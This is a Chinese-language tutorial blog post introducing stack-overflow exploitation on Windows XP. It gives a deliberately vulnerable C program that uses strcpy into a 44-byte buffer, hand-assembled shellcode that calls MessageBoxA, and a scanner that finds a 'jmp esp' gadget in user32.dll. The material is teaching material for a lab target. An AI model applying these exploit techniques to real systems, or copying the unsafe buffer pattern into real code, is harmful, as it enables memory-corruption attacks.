shellcode初识
程序员文章站
2022-07-15 14:38:53
...
目标程序源码
目标程序,用于演示栈溢出
#include <windows.h>
#include <stdio.h>
#define PASSWORD "1234567"
int test(char *pwd){
int flag;
char buf[44];//77D507EA
flag=strcmp(PASSWORD,pwd);
strcpy(buf,pwd);
return flag;
}
int main(){
int flag=0;
char pwd[1024];
FILE* fp;
LoadLibrary("user32.dll");
if(!(fp=fopen("password.txt","rw+"))){
exit(0);
}
fscanf(fp,"%s",pwd);
flag=test(pwd);
if(flag){
printf("incorrect password!\n");
}
else{
printf("Congratulation!\n");
}
fclose(fp);
return 0;
}
test函数中buf大小为44,flag的size为4,内存结构为
44 byte的buf
4 byte的flag
4 byte的ebp
4 byte的返回地址
方法一
shellcode放在当前栈区,利用ret跳转到shellcode
33db //xor ebx,ebx
53 //push ebx
6877b57374 //push 7473b57768
686661696c //push 6c69616668
8bc4 //mov eax,esp
53 //push ebx
50 //push eax
50 //push eax
53 //push ebx
b8ea07d577 //mov eax,0x77d507ea 调用MessageBoxA,函数地址可能不同,更具实际值填入
ffd0 //call eax
编辑flag.txt
结果
方法二
由于栈地址是动态分配的,无法确定当前shellcode地址;此外,ret发生溢出时,esp地址不会被修改,所以可以利用一些dll文件中的jmp esp,来达到跳转的目的。
/*
标题:查找user32.dll中的jmp esp
编辑器:vc6.0
系统:windows xp
*/
#include <stdio.h>
#include <windows.h>
int main(){
HINSTANCE handle=LoadLibrary("user32.dll");
if(!handle){
printf("load dll error!\n");
exit(0);
}
BYTE* ptr =(BYTE*)handle;
for(int position=0;;position++){
try{
//查找jmp esp的opcode
if(ptr[position]==0xff&&ptr[position+1]==0xe4){
printf("%d\n",position);
break;
}
}
catch(...){
}
}
return 0;
}
得到文件内偏移0x103251,加上user32.dll的地址,就是jmp esp的地址
修改flag.txt
运行结果相同